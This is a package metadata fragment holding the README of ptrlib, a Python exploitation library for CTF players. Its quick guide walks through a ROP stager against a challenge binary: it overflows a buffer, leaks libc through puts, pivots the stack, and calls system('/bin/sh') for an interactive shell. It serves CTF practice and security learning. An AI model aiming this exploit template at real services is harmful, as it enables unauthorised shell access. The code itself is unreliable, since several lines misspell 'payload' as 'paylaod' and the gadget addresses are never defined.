        "description": "ptrlib\n====\n\nPython library which bundles security-related utilities.\n\n## Description\nPtrlib is a Python library for CTF players.\nIt's designed to make it easy to write a complex program of cryptohraphy, networking, exploit and so on.\n\n## Requirement\nSupports: Python 3.7\n\n## Usage\nBasic examples are available at [/examples](https://bitbucket.org/ptr-yudai/ptrlib/src/master/examples/).\n\n## Quick Document\nThere are many functions in ptrlib but let's see how to use it for pwn.\nYou can run executable or create socket like this:\n```python\nsock = Process(\"./pwn01\")\nsock = Process([\"./pwn01\", \"--debug\"])\nsock = Socket(\"localhost\", 1234)\n```\nIf you have the target binary or libc, it's recommended to load the binary first.\n```python\nelf = ELF(\"./pwn01\")\nlibc = ELF(\"./libc.so.6\")\n```\nAnd you can use useful methods such as `got`, `plt`, `symbol`, `section` and so on.\nThe following is the pwn example of ROP stager.\n```python\ngot_puts = elf.got(\"puts\")\nplt_puts = elf.plt(\"puts\")\nplt_gets = elf.plt(\"gets\")\nstage2 = elf.section(\".bss\") + 0x400\n\npayload = b'A' * 0x108\npayload += p64(rop_pop_rdi)\npayload += p64(got_puts)\npayload += p64(plt_puts)\npayload += p64(rop_pop_rdi)\npayload += p64(stage2)\npayload += p64(plt_gets)\npaylaod += p64(rop_pop_rbp)\npaylaod += p64(stage2)\npayload += p64(rop_leave_ret)\nsock.sendlineafter(\"Data: \", payload)\n\nlibc_base = u64(sock.recvline()) - libc.symbol(\"puts\")\nlogger.info(\"libc base = \" + hex(libc_base))\npayload = b'A' * 8\npaylaod += p64(rop_pop_rdi)\npayload += p64(libc_base + next(libc.find(\"/bin/sh\")))\npayload += p64(libc_base + libc.symbol(\"system\"))\nsock.sendline(payload)\n\nsock.interactive()\n```\n\n## Install\nRun `pip install ptrlib` or `python setup.py install`.\n\n## Licence\n\n[MIT](https://github.com/tcnksm/tool/blob/master/LICENCE)\n\n## Author\n\n[ptr-yudai](https://github.com/ptr-yudai)\n\n",
